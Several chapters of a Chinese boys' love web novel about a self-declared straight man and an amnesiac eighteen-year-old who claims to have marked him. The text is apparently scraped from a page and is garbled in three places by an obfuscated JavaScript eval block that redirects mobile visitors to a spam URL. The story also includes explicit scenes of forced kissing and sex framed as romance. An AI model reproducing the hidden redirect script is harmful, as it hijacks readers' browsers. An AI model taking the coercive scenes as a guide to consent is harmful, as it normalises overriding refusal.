《直男被偏执年下缠上后》 1. 第 1 章 阳光透过窗帘缝隙挤进来,不偏不倚地晃到韩闻烁眼皮上,扰了他的好梦。他不适地皱了皱眉,低骂一声翻过身去。 这么一动,身上的肌肉也跟着牵拉着痛。 “操……”他烦躁地睁开眼。 然后,大脑空白了两秒。 “………………” “卧槽!”韩闻烁一个激灵坐了起来,下意识掀起被子往下面看了眼。 空的,什么也没穿。 一瞬间,他想死的心都有了。 原本熟睡在身侧的人被他吵醒,揉了揉眼睛向他看过来,伸长了手臂要抱他,声音黏糊,“老婆。” 韩闻烁像见了鬼似的,手脚并用地爬下床,一边爬一边还不忘裹着被子挡住自己,“卧槽你你你,你别过来!” 男生闻言撑起上半身,迷茫地看向他,“怎么了?老婆。” 啊啊啊啊啊啊啊啊啊!!! 韩闻烁无声尖叫,他简直要疯了。 “你他妈别叫我老婆!谁是你老婆!老子是直男!”他一边说,一边搜罗被甩在一旁沙发上的衣服裤子。按这个凌乱程度来看,他昨天晚上是真喝大了。 他随手拎起一件白色衬衫,瞥见上面的泥和土,还有点红色的印记,看着像血似的。 他嫌弃地把衬衫往旁边一丢,捡起自己的裤子。 “就当什么都没发生过,你没见过我!”韩闻烁抬起一条腿穿裤子,忍不住嘶了口气。 艹,还真他妈疼。 “看什么看!”他和男生对上视线,气儿顺不了一点,没头没脑地怼了一句。 “老婆,你去哪儿?”男生问。 韩闻烁狠狠瞪了他一眼,从床头抓过自己的手机,指着男生威胁道,“我再说一遍,老子他妈是直男。” 一点礼貌都没有,不就是打了一炮,一睁眼就管人叫老婆,是人吗? 韩闻烁很快穿好衣服,把项链耳钉也戴好,才重新找回点安全感。 “房钱我付,别说见过我。” 临出门前,他再度叮嘱那男生,压根没注意到男生的脸色阴沉了下来。 他抬腿要走,又瞥到男生手臂上一条长长的血痕,锁骨上还有淤青,还是顿下步子,从钱包里扯出几张仅有的现金,甩到床上。 “买件新衣服,再去看看病。” 出了酒店,韩闻烁蹲在马路边点了支烟,把头发揉得像鸡窝,懊恼两个字就明晃晃地写在脸上。 “操……什么事啊都。” 昨天晚上魏杰叫他去喝酒,他喝得是多了点,但是怎么他妈和一个男的搞到床上去的? 还是战损版?都伤成那样了还想着上床,估计是不知道从哪儿来的小混混。 郁闷死了。 他活了三十二年,不说纵横情场吧,起码也是个老手,这下真他妈是马失前蹄。 越想越来气,韩闻烁又点了根烟。 屁股还痛。 他现在有点后悔刚才跑得那么狼狈了,就应该把那死小子揪起来揍一顿。 “是不是水逆啊……”韩闻烁正琢磨着自己是不是该去算算命改运,口袋里电话响了。 看了眼来电显示,他接起来没好气儿地喂了一声。 “起得挺早。”对方说。 “啥事儿?”韩闻烁问。 “我们在你店里。” 韩闻烁懒懒地嗯了声,问,“然后呢?店里没人?” “不是。”对方缓了口气,慢半拍道,“但是你车被人刮了,帮你报警?” 韩闻烁一个猛子站起来,“操!” 肯定是水逆。 半个小时后,韩闻烁火急火燎地赶到店里,一进门就看见池燃乖乖地坐在椅子上理发,手从围布下探出来跟他摆了摆,“嗨,韩哥。” 这会儿时间还早,店里只有他们两个客人。 韩闻烁潦草地跟池燃打了个招呼,转身就问坐在一旁的潭知行,“我车呢?” 潭知行无语地抬眼看他,“你自己的车你不知道停在哪儿?” “我那么多车我哪儿记那么清楚?”韩闻烁理直气壮地反问。 他抓着潭知行起来,“你带我看看去。” 潭知行起身,对池燃道,“等我一会儿,很快回来。” 韩闻烁急得推他,“哎行了你,你老婆寄存在我这儿丢不了。” 他记不太清楚这俩人在一起多久了,结婚都快两年了吧,还这么腻歪,每回都腻得他起一身鸡皮疙瘩。 潭知行带着他走出理发店,在街角拐了个弯,停在他那辆深蓝色的法拉利旁边,给他指了指。 “这儿,应该是小孩儿不懂事干的。” 韩闻烁对着车身上那一个大大的笑脸,一时有点想哭,骂都骂不出来。 他扶了下额头,“算了,就这样吧,还挺有个性。” 潭知行对此倒不意外,他和韩闻烁认识十几年,这很符合韩闻烁的行事作风。 不过,倒有其他的吸引了潭知行的注意力。 他盯住韩闻烁略显凌乱的头发问,“你昨晚没回家?” 韩闻烁瞬间像被戳了脊梁骨,手都不知道放哪儿好了,“你怎么知道?!” “头发很乱,不像你平时的风格,身上有酒味,还有……”潭知行顿了顿,“这个项链,昨天见你的时候你戴过了。” 韩闻烁是个极度爱打扮自己的人,又喜欢新鲜,如果不是一晚上没回家,同一条项链他不会连着戴两天。 韩闻烁嘴角抽了抽,“哈……福尔摩斯啊你。” 不用问就知道,韩闻烁肯定又喝得烂醉不知道跟谁搞到一起去了。 “不打算安定下来吗?”潭知行在他车边靠住,问,“你爸妈没催?” 提到这个韩闻烁就烦,又从口袋里摸出烟盒来,“还说呢,这事儿就特么怪你,单身单得好好的,没事儿结什么婚。” 他叼着烟,低头理了理衣服领口,“他们本来没催得那么紧,从听说你结婚了之后就催命似的让我相亲。” 潭知行笑了声问,“你没跟他们说我是和男生结婚了吗?” “说了啊。”韩闻烁撇着嘴,没招似的,“老头子说甭管男的女的都让我给他带个回去,还威胁我要给我断供呢。我看他也就是随口一说,真给他带回去个男的他不炸了。” 潭知行又笑,“那你试试。” 他起身往回走。 “滚蛋。”韩闻烁斜了他一眼,跟上他的步子,“老子是直男,才不搞基。” 说到这儿,韩闻烁想起早上那一幕,不禁打了个寒颤。 操,真他妈倒霉。 这事儿绝对不让能潭知行和池燃知道,否则他就颜面扫地了。 刚好池燃也理好了发,韩闻烁看了眼时间,问他们要不要一起吃个午饭。 “不了。”潭知行说,“一会儿还要回我爸妈家,今天我妈过生日。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285869|198433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哦。”韩闻烁也不好留了,送他们到店门口,“那帮我跟徐姨问声好啊。” 潭知行:“嗯。” 他再一回身,撞上个面色不善的小男生。 潭知行往旁边让了一步,“抱歉。” 但那男生一动没动,目光直勾勾的,盯着他身后的人。 我,操…… 对视的瞬间,韩闻烁浑身汗毛都竖起来了了。 他怎么找到这儿的???! 眼看男生要张嘴说话,韩闻烁一个箭步冲过去,把他嘴巴捂上了,转头笑眯眯地跟潭知行和池燃说,“那什么,你俩快走吧,别当误给徐姨过生日。” 潭知行:? 池燃:? 韩闻烁死命地拽着男生往里走,“我还有点事儿要处理,改天再约啊。” 但是他拽了又拽,这人几乎纹丝不动。 吃什么长大的,劲儿这么大? 急得他叫旁边店员帮忙,“那个,小林,你帮我一下,把他带楼上去。” 小林上前,“好嘞老板。” 男生不紧不慢地掰开韩闻烁的手,垂眼,神色淡漠地看他,“你躲我?” 韩闻烁急了,“我躲你什么躲你,咱俩有关系吗?赶紧走,别逼我报警。” 潭知行:“你们……” “仇人。”韩闻烁抢话道。 男生又反手掰过他的手,力气大得韩闻烁手腕疼。 “哎我草你小子——” “你再说。” 眼看俩人就要打起来了,潭知行和池燃忙上前将他们拉开。 “有话好好说。”潭知行把韩闻烁按住。 池燃盯住男生手臂上一块又一块的伤痕倒吸了口气,问,“你要不要去医院看看?” 韩闻烁皱眉看他,“不是让你买件衣服再去医院看病吗?来找我干什么!衣服破成那样还能穿吗?别人看了不知道从哪个垃圾堆里爬出来的。” 正赶上有预约的客人进门,几个人气势汹汹的杵在门口怪吓人的,韩闻烁没办法,招呼小林接待客人,回身叫男生,“跟我上楼。” 韩闻烁这人对自己特好,装修的时候特地在三楼给自己留了间大休息室,带床的那种。他随手从沙发上捡了件自己的衣服扔给男生,“把你那破衣服换了。” “你这儿还有医药箱吧韩哥。”池燃总来韩闻烁的理发店,对他这儿熟得很。 “嗯。”韩闻烁应了声,靠着沙发坐下,“你给他拿吧。” 潭知行转头低声问韩闻烁,“怎么回事?” 韩闻烁脸上一阵红一阵白,半天只憋出来一句,“你俩怎么还不走?” 韩闻烁看着池燃给男生拿药水和绷带,多了句嘴,“对他那么好干什么,有胳膊有腿的,让他自己弄。” 男生朝他扫过来一眼,目光有些凌厉。 韩闻烁顿时气不打一处来。 潭知行看了眼手表,对池燃道,“我们该走了,去取蛋糕。” 池燃哦了声,放下药酒嘱咐韩闻烁,“那韩哥你给他弄一下吧,伤得挺重呢。” 韩闻烁敷衍地应着,“嗯嗯行,知道了。” 等他们走了,空旷的房间里只剩下两个人。韩闻烁一言不发地盯着男生,半晌,他把烟按灭,往前倾了倾身子问,“喂,你到底怎么找到我的?”, 男生面无表情地回答他,“我是Alpha,你身上有我的味道。” 2. 第 2 章 韩闻烁:? 他一下被气笑了,“得,还伤到脑子了。” 他没耐心再陪这人在这儿闹下去,拿出手机来说,“给我个收款码,再给你转点钱去挂精神科。” 男生迟了几秒答道,“手机丢了。” 韩闻烁:“……” 片刻,他收起手机,起身,“行吧,那就别怪我了,我身上也没现金了,收拾好就赶紧走,别再来找我。” 对方沉默几秒没说话。 韩闻烁理了理衣服,“我还有事得走了,一会儿你找小林要打车费。” 他迈开步子,下一秒,却被男生紧紧锢住了手腕。 “你去哪儿?” 韩闻烁无语,“我去哪儿跟你有什么关系?” “带我一起。”男生固执道。 韩闻烁气得直想翻白眼,“我们没关系你能听懂吗?” 他压低声音吼道,“昨天晚上就是意外,纯属意外!” 男生直直地盯着他,“我标记了你,你就是我的。” 韩闻烁的沉默仿佛有一个世纪那么长。 这小子怎么尽说些他听不懂的话? “祖宗。”韩闻烁跟他双手合十,大丈夫能屈能伸,“我求你放过我行吗?这世上基佬千千万,您别搞我成吗?我真是直男。” “咱俩就是喝多了不小心睡了一晚上,从此分道扬镳,大路朝天各走一边不行吗?” “……”男生眨了眨眼,片刻,浓密的睫毛低垂下来,挡住他眼里的情绪。 “我叫江临。” 韩闻烁:“好小江,小江,算哥求你——” “除此之外,其他的我都不记得了。” 韩闻烁:? 江临抬起眼来,眼睛湿漉漉的,祈求似的看他,“所以,你不能丢下我。” 韩闻烁:“……” - 韩闻烁开着敞篷,试图让疾驶而过的风吹醒他的脑子。 一定是打开方式不对。 他今天一定是水逆,不然怎么一睁眼就被人睡了,还捡了个失忆的跟屁虫来。 车在红灯前停下,他撑着车窗框往右边看了眼。江临仍旧没什么表情,淡漠地看着前方。 长得倒是挺好看的,鼻梁很高,因为是单眼皮,眼型又狭长,所以冷脸看人的时候给人感觉很凶。 “喂,你多大了?”韩闻烁问。 江临看他一眼,慢半拍地答道,“十八。” 韩闻烁在心里笑了声。 哈,奇耻大辱,不仅被搞了,还被小自己十四岁的小屁孩搞了。 简直变态吗这不是。 “行。”韩闻烁说,“我比你大,叫哥吧。” “你还记得什么?”他又问。 江临摇头。 “你爸妈叫什么?你家住哪儿?” 江临又摇头。 韩闻烁咬住食指关节,心说这他妈得送警察局吧。 但是他这会儿真有急事,刚才店里人跟他说楼上好像漏水了让他过去看看。 他又心烦地揉了把头发,真不知道怎么今天破事儿格外多。 他叹了口气,决定先处理完店里的事情再送这小崽子去警察局。 二十分钟后,韩闻烁把车停在路边,解开安全带对江临道,“我去办点事,你老实待着。” “我跟你一起去。”江临也解开安全带。 韩闻烁:“……” 他开了好几家店,也包括这家烤肉店,开在商业街附近,平时不怎么管,挣得不多,开销倒是大,不过他不在乎挣不挣钱,就是开着玩,图个热闹。 前台女孩一看到他进门,立刻跑过来汇报情况,“老板,十号桌那边漏水,店长上楼找过了,但是那户人家家里好像没人。” 韩闻烁走到漏水那桌前,叉腰往天花板上看了看,“行,我知道了。” “你忙去吧。” 楼上的这家住户他认识,还没开业的时候因为装修的问题他上去拜访过,是一对老夫妻,俩人耳朵都不太好使,估计是敲门没听到。 他在隔壁桌坐下,拿出手机来给老夫妻打电话,又给江临使了个眼色叫他坐。 “哎等会儿。”他又叫住女孩,问,“这学期学费住宿费什么的都够不够?” 女孩笑着点头,“够着呢老板,我还拿了奖学金,剩下的钱都可以给家里打回去。” 韩闻烁点头,“那行,忙去吧。” 女孩注意到紧挨着韩闻烁坐又一言不发,看着可怜兮兮的江临,忍不住好奇问道,“老板,这是我们新来的……” 江临淡声开口,“我是他老——” “公”字发音发了一半,韩闻烁紧急捂住江临的嘴,“你别听他放屁,快干活。” 女孩长长地哦了一声,略显失望地转身离开。 韩闻烁转头就低声威胁江临,“你大爷的,你再给我乱说话我就把你扔进海里喂鱼。” 江临这才不吭声了,垂下眼扣手。 韩闻烁挂断没打通的电话,又重新打,边听着“嘟嘟”音,边审视江临的神色。 装可怜给谁看呢?他也没说什么重话啊。 电话打了快半小时才接通,果然是老夫妻忘关水龙头了,跟他们交涉一番后,韩闻烁找了修理工来,把剩下的事交给店长,带着江临走了。 他猛踩油门,找了个最近的警察局,揪着江临下车。 “你带我来这儿干嘛?”江临问他。 “走吧你。” 韩闻烁进门就说他要报案,捡了个小孩,还失忆了。 警察前来了解情况,江临往他对面一坐,张嘴就说,“我没失忆,我是他老公,我们吵架了。” 韩闻烁:??? 他忙道,“不是,警察叔叔,你听我解释。” 警察把笔一撂,抱起肩膀来无奈地看他,“小两口吵架就别吵到警局来占用公共资源了。” 警察看看江临身上的伤,语气又严肃了些,手指点着桌面教育韩闻烁,“还有,我可提醒你,家暴是犯法的,吵架归吵架,可不能动手。” 韩闻烁百口莫辩,“我没打他,不对,我们真不——” 江临拽着韩闻烁起身,“谢谢您,我们没事,不打扰了。” 韩闻烁有一百张嘴,奈何他力气比不过江临,硬是被江临扯了出来。 江临冷着脸问他,“你什么意思?” “你什么意思?!”韩闻烁声音高了些,“你不是失忆了吗!脑子还坏了,我好心带你来警察局,你还不干了?” “你不想要我?” “我——” 韩闻烁看着江临突然委屈巴巴的表情,一下说不出话来了。 这小子是不是知道他吃软不吃硬啊? 真服了。 “操,上车。”韩闻烁说。 “又去哪儿?”江临问。 韩闻烁骂骂咧咧的,“吃饭!先吃饭!你不饿我他妈还饿呢。” 他们就近来到一家商场的火锅店里,韩闻烁点了满满一桌菜,他看江临这样估计是几天没吃过饭了。 他把菜单还给店员,转头跟江临说,“我去趟卫生间。” 江临点头。 他起身问服务员卫生间怎么走,服务员给他指了个方向。 从卫生间出来,韩闻烁忽然意识到点什么,顿下脚步。 他要是现在溜了,江临是不是就找不到他了? 那不就万事大吉了? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285870|198433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >店员总会发现他不对劲然后报警让警察来带他走的,到时候就没他的事了。 “我靠。”韩闻烁简直为自己这个想法感到天才。 但转念一想,他还没买单,总不能让江临吃霸王餐。犹豫之下,他怀着一点良心,决定把这个计划放到吃完饭后实施。 等吃完饭,韩闻烁叫来服务员买单,又故技重施跟江临说他去卫生间。 出了饭店,他脚下抹油似的,跑得比兔子还快,躲到一个大柱子后面远远地看着店门口。不一会儿,江临和服务员说着话走出来了。 韩闻烁暗自窃喜,顿感一身轻松。但往反方向走了没两步,他又担心江临到底能不能被人发现脑子不正常。 “啧。”韩闻烁犹豫了下,向旁边店里的服务员打听服务中心在哪儿。留个广播寻人启事,江临听到之后总不至于走丢。 太完美了。 服务中心在五楼,韩闻烁走到扶梯口,正要抬腿,有人从身后叫住了他。 “哥。” 韩闻烁浑身一个冷颤。 这个声音是…… 他迟疑着回过身,看到江临正面带微笑地看着他,“你去哪儿?” 韩闻烁:“……” 这个笑容他看着怎么那么渗人呢? “我,我那个……”韩闻烁一时竟然想不到很好的借口。 “我们回家吧。”江临淡声说。 韩闻烁摸了摸头,“哦,哦……行吧。” 行个屁啊!韩闻烁在心里骂自己。 但他眼下是实在没招了,赶也赶不走,丢也丢不掉,只能先带回家了。 真他妈服了。 韩闻烁像被霜打了的茄子,灰头土脸地领着江临回了家。 他自己住,爸妈给了他一套市中心两百多平的房子,二十六楼,风景很好。 但装修风格……江临只能用两个字来评价:恶心。 混搭,处处透着随性,好像是看中什么就摆什么了,毫无逻辑。 韩闻烁趿着拖鞋往卧室走,又抻了个懒腰,“累死老子了,我去洗个澡睡觉了,你随便吧,爱干嘛干嘛,爱睡哪儿睡哪儿。” “睡地板上我也没意见。”他又补上一句。 “你是赛车手吗?”江临盯着电视柜上摆着的一张合照问。 合照上是两个人,其中一个是年轻时的韩闻烁,另一个也是个年轻男人,两人看起来意气风发,手里握着奖杯,背后是一辆赛车。 韩闻烁顿下脚步,啧了一声,转道走过去,把相框“啪”一声按下了,警告江临道,“小孩儿别到处乱看。” 江临:“你让我爱干嘛干嘛的。” 韩闻烁:“……懒得理你。” 他回到卧室,走进淋浴间,放开热水,从头到脚浇了个遍,才觉得自己活过来点。 肯定是江临这死小子,搞得他现在腰还酸。 但他不仅没把这人揍一顿,还带回家了。 “妈的。”韩闻烁按了泵洗发水,越想越来气。 他把洗发水抹到头发上,刚搓了两下,浴室的门忽然被人推开了。 江临□□地推门进来。 韩闻烁吓得一激灵,大叫,“卧槽,你他妈干什么!没看见老子洗澡呢吗!” 江临拉开浴屏门,毫不客气地迈进来,“我也要洗澡。” 韩闻烁下意识往后退了一步,“客卧还有一个浴室你没看见吗,你滚去——” 他话没说完,江临掰着他的下巴,不打招呼地吻了上来,狠狠咬住他嘴唇。 “卧槽你!”韩闻烁不敢相信地瞪大眼睛,又被热水浇得发晕。 江临膝盖顶进他两腿间,漆黑的瞳孔透着不悦,“哥,再想把我丢掉试试看。” 3. 第 3 章 还未等韩闻烁反应过来,江临再度强吻了上去,热水从他们头顶浇下来,烫得韩闻烁整个人浑身发抖。 江临掐上他的腰,手掌和他身上的红印重合,该死的是这人又用了些力气,弄得他发疼。 韩闻烁张嘴就骂,“卧槽,你能不能轻点!老子这一身——” 他话没说完,就被江临推着翻过身去,趴在了冰凉的瓷砖上,江临贴上来,让他动弹不得。 也许也是因为那处的存在太明显,韩闻烁根本不敢动。 江临轻声答应他,“我尽量。” 经过昨晚一整夜的温存,韩闻烁像还有记忆似的,被随便弄了两下,腰就受不住地塌下来,像被养出了习惯。 瞬间,韩闻烁浑身一抖,“我日,你——” 但下一秒,不知道怎么,他出口的声音就变了调,又被江临吻住。 熟悉的感觉让他迷迷糊糊地想起来昨晚的情形,他也是这样和人接吻,然后被掐着腰按住,濒临窒息的快意让他晕头转向,控制不住地大喊大叫。 混着水声,江临一下比一下用力,同时低下头去,去咬韩闻烁的后颈,牙齿衔住一块皮肉,怎么也不放过。 “我草你属狗的!”韩闻烁被咬得生疼,拿胳膊肘用力怼了下江临。 “你为什么……”江临锢住韩闻烁的胳膊,在他颈侧细细密密的啄吻,“没有腺体?” 身上的味道倒是格外好闻,虽然很淡,但也能感受到像是某种花香。他还在易感期,这股味道让他恨不得把眼前的人拆吞入腹。 “胡说八道什么呢!”韩闻烁压根听不懂,江临停下来,他反倒急躁,“要操就好好操,别他妈乱咬人!” 江临关掉花洒,又将韩闻烁掰过来正对着他,抬起他一条腿,随后就着这个姿势将他整个人抱起,迈出浴室。 “卧槽,你特么——”韩闻烁一下被腾空,慌得只能揽住江临脖子,“放老子下来!” 可江临像是根本没听到一样,神色淡漠地走向卧室。 “放我下来你听到没有!聋了!” 韩闻烁乱踢乱蹬,但这样只会让江临更深,他浑身发颤,不自觉抓紧江临后脑的头发。 江临将韩闻烁重重扔进床上,韩闻烁逮到片刻喘息的机会,立刻抬腿踹他,“让你轻点你聋的啊!” 江临抓住他脚踝,用力往前一带,韩闻烁又一声闷哼,失去了所有反抗的力气。 太没面子了。 他居然打不过一个十八岁的小屁孩。 江临几乎要把他顶到床头,但在他要撞到床板之前,又将他捞回来。 韩闻烁一开始还骂他,乱动着挣扎,后来只剩下喊叫和叹息。江临相对于他沉默很多,甚至一言不发,只顾着动作。 几个小时过去,韩闻烁实在没了力气,等江临松开他,他就往床上一倒,昏睡过去之前,嘴里还不忘念叨着骂人。 江临在床边沉默着坐了片刻。 他瞥见韩闻烁身上被他弄得青一块紫一块的印子,半晌,抬手拽了被子过来给韩闻烁盖上。 天已经黑透了,江临又呆坐了半刻,起身整理凌乱的床铺,为了不把韩闻烁吵醒,他动作放得很轻,又捡起韩闻烁乱扔到地上的衣服,一件一件叠好。 收拾好这些后,他又回到床边,挨着韩闻烁在地毯上坐了下来。 韩闻烁睡得很沉很香,呼吸平稳,他盯着看了一会儿,才将目光转向窗外深沉的夜色。 无边的黑暗裹着不安,好似要将他吞没。 他忘了很多东西,他不知道自己是谁,不知道为什么会受伤,等他恢复意识时,只感到体内汹涌的潮热,易感期突如其来,让他走投无路。 就在这时,有个漂亮哥哥出现在他视野里,身上散发着好闻的味道。 哥哥喝得烂醉,笑得好看,问他要不要接吻。 于是,他像抓到救命稻草一样扑了上去。 他标记了他,在他身上烙下属于Alpha的味道,成为他与这个陌生世界的唯一连接。可一觉睡醒,这哥哥竟说他们什么关系也没有,这让他很生气。 一点也不乖。 第二天,韩闻烁再睁眼时,感觉连眼皮都沉得要命,浑身像被人打了一样痛。他翻了个身去摸手机,大腿根的肌肉疼得他骂人,“操……” 现在他都记得了,前天是意外,昨天是结结实实地和那狗崽子搞了一场。 “下手真他妈重。”韩闻烁摸了半天手机没找到,心烦得撑着身子坐起来点了根烟。 房间倒是被收拾得很干净,衣服也不见了,看样那狗东西应该是滚了。 想到这儿,韩闻烁心里舒服了点。 可随后,他听见房门外传来一阵叮叮哐哐的声。 韩闻烁一个激灵从床上弹起来。 操,进贼了? 他一走路还疼,踉踉跄跄地跑出卧室,推开门,隔着几米远,看见江临在厨房里忙活的身影。 靠……还不如进贼呢。 韩闻烁啧了一声,揉了把头发,大声问,“喂,你怎么还不走?” 江临听到声音回过身来,端着两个盘子走到餐厅,直接略过韩闻烁的问题,道,“吃饭了。” 韩闻烁:“……” 是不是脑子真有问题啊? 他臭着脸站在房门口,看着江临走近。 “没听到是吧,我问你怎么还不——” 江临亲了他一口。 韩闻烁:“……” “你他妈!”他几乎咬牙切齿。 江临平静地提醒他,“穿衣服。” 韩闻烁这才意识到自己现在是个裸男,平时家里都只有他一个人,习惯了。 江临看他的眼神实在算不上良善,韩闻烁把他推开,“砰”的一声把门摔上,“看屁啊!” 几分钟后,韩闻烁穿好衣服出来,因为觉得自己走路姿势有点别扭,他心情不好,坐到餐桌前,张嘴就嫌弃江临为他准备的早饭。 一个煎糊了的荷包蛋,一碗稀得像水的粥。 “什么啊。”他不耐烦地看向江临,“这玩意是人能吃的吗?” 江临淡声道,“我不会做饭,试着做的。” “不会做饭就别做!谁逼你了?”韩闻烁啧了声,“我手机呢?这玩意吃不了,点个外卖。” 江临起身,从沙发上把他手机拿了过来。 韩闻烁又瞥到他手臂上泛红的伤,皱了皱眉,“你这碰水发炎了吧,不疼吗?” 江临:“还好,我上过药了。” 韩闻烁撇撇嘴,边打开外卖软件边问,“怎么伤的啊?” 江临:“不记得了。” 韩闻烁:“……” 韩闻烁边订外卖边拿起勺子尝了口江临做的粥,吃了一口就放下了。 难吃,果真和喝水一样。 “吃完饭你就该上哪儿去上哪儿去。”韩闻烁扣下手机,拿出气势和江临谈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285871|198433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 判。 “我没地方可去。”江临盯着他。 “怎么没地方可去?”韩闻烁嘴欠,“派出所,精神病院,这些地方都很适合你。” 他大手一挥道,“总之别在我家待着,别以为睡过两觉就怎么样了。” 他话音刚落,江临猛地站起身,拽上他的手腕就往卧室走。 “哎我——你,干什么去!”韩闻烁被他拽得直踉跄,“狗东西你轻点!” 两个小时后,韩闻烁懂了。 江临的意思是,睡两觉不行,睡三觉就行了。 操。 江临把门口被晾了两个小时的外卖拎进来,放进微波炉里加热。 韩闻烁仰头靠在沙发上抽烟,觉得人生无望。 什么事啊都。 江临把韩闻烁订的炸酱面倒进盘子里,给韩闻烁端了过去,摆到茶几上,“吃吧。” 韩闻烁瞟他一眼,“我不是订了两份?” 江临:“等你吃完这份再给你热。” 韩闻烁无语,“我吃完个屁啊。” 他话在嘴里转了一圈,还是不情不愿地说了,“那份给你的,一天不吃饭光顾着上床啊。” 江临哦了一声。 韩闻烁看着江临走远的背影,郁闷地吃面。 他现在可不敢再提要把江临赶走的事儿了,免得屁股又遭罪。 可是他拿江临怎么办呢? 他好好一个直男总不能留个男宠在家里。 虽然和这狗崽子上床……是挺爽的。 想到这儿,韩闻烁直接给了自己一巴掌。 想什么呢! 江临端着面从厨房走出来,看到这一幕顿时愣住。 韩闻烁恶狠狠道,“看什么,吃饭!吃完带你去个地方。” 正值初秋,韩闻烁从衣柜里翻出来了自己最高领的衣服,把浑身上下都遮了个严实,又随手扔给江临一套他的T恤牛仔裤。 四十多分钟后,韩闻烁驱车到了一家清吧,一进门,店员纷纷向他点头,叫了一连串的老板。 韩闻烁点头问,“老郭呢?” “店长在后面盘点呢。”一女孩说。 韩闻烁哦了声,带着江临往后厨走。 郭炜正蹲在地上数刚进货来的酒,韩闻烁站到他面前打了个响指,“给你带个新人来,看看。” 郭炜闻声抬头,“哟,你这会儿怎么来了。” 他和韩闻烁也是大学认识的同学,说话自然放松些。前两年他干IT被裁员,养家糊口都困难,赶上韩闻烁琢磨着想开个酒吧,他就过来帮韩闻烁打理生意了。 “过来看看呗。”韩闻烁一手插兜,一面朝江临的方向扬了扬下巴,“怎么样?够帅吧。” 郭炜眼睛一亮,笑道,“小伙子是挺帅啊。” 他们店里招的人都是些帅哥美女,按韩闻烁说的,客人看了养眼,会有回头客。但实践下来看,效果一般。 “你又从哪儿找来的?”郭炜问韩闻烁,“大学生啊?” 韩闻烁勾上郭炜的肩,“哎这你就别管了,反正多给他找点事干。” 韩闻烁心想,江临有事儿干,就不能干他了。 “没问题。” 前台有人高声叫店长,郭炜忙应着,跟韩闻烁说他出去看看。 江临略显拘谨不安,问韩闻烁,“你要让我干什么?” 韩闻烁一乐,凑近了些,在他耳边说,“让你做鸭。” 4. 第 4 章 江临顿时眉头紧锁。 韩闻烁觉得逗他还挺有意思,继续说,“长这么帅不做鸭不可惜了?反正你现在失忆了,正好放下道德底线,享受幸福人生。” “你——” 眼看江临要生气,握他手的手劲又大了,韩闻烁忙抽出手来做投降状,“哎,开个玩笑别那么紧张,不禁逗呢你这小孩。” 他跟江临解释道,“这家店也是我的,放心,清吧,绝对干净,我给你找点事做总没错吧,不然离了我,你可就要饿死街头了。” 说话间,郭炜忙完了事,过来招呼他,“小帅哥,跟我来吧。” 韩闻烁推了他一把,“去。” 暂时推掉这个狗皮膏药,韩闻烁松快了些,回到办公室掏出手机来打个潭知行。 对方接得很快,“说。” 韩闻烁支支吾吾半天,没说出个所以然来。 潭知行:“再不说话我挂了。” 韩闻烁挠挠头,“哎哎等会儿,有个事问你。” 他这些朋友里,最靠谱的还是要属潭知行,不算狐朋狗友那一挂的。 韩闻烁叹口气,“你记得那天找上门那小孩吧?” “记得。”潭知行问,“怎么了?” “就是……那个,那个我……”韩闻烁狠了狠心,语速飞快道,“我那天喝多了不小心跟他睡了,然后他说他还失忆了,我现在是赶也赶不走,他就赖上我了,竟说些乱七八糟我听不懂的东西,我真是没招了就先把他带酒吧来让他在这儿干活,你说我是该带他去医院看病还是直接把他扔到警察局啊?” 韩闻烁一口气儿说完又接上一口气,“而且我也不是没带他去警察局,我去了他跟人警察说他是我老公,没把我气个半死,就非跟我回家,还特么总啃我脖子,你说这种神经病精神病院能收吗?” 潭知行听完,沉默了好长一段。 韩闻烁心口提到嗓子眼,生怕潭知行误会,多解释了句,“你信我的,我真不是gay,这事儿纯属意外。” “还有啊。”韩闻烁又问,“你知道Alpha是啥吗?” 潭知行沉口气,说,“我发你点东西,你看看,挂了。” 韩闻烁:? 一分钟后,韩闻烁收到了潭知行发来的……一个百科链接? ——ABO之Alpha ??? 韩闻烁皱着眉点开链接,里面详细介绍了一种abo题材小说,以及Alpha……竟然是一种性别? 韩闻烁念出声来,“Alpha,通常为abo小说中的攻方,设定为身材高大,力量强悍……” 这描述倒是很符合江临。 韩闻烁在脑子里画了个问号。 什么意思?江临真是Alpha? 开玩笑吧。 他退出浏览器界面,点开和潭知行的对话框,问:「你怎么知道这些?」 潭知行回:「最近培养了看小说的爱好,这个题材很不错。」 潭知行:「建议你也多看看。」 潭知行又给他发了个文件来,是一堆txt。 潭知行:「未删减版,便宜你了。」 韩闻烁:“……” 这人的脑子好像从结婚之后就不太正常了。 他没点开,随手把手机甩到一旁。 这下真没人能帮他了。 眼下……好像也只能暂时收留江临,直到他恢复记忆为止。 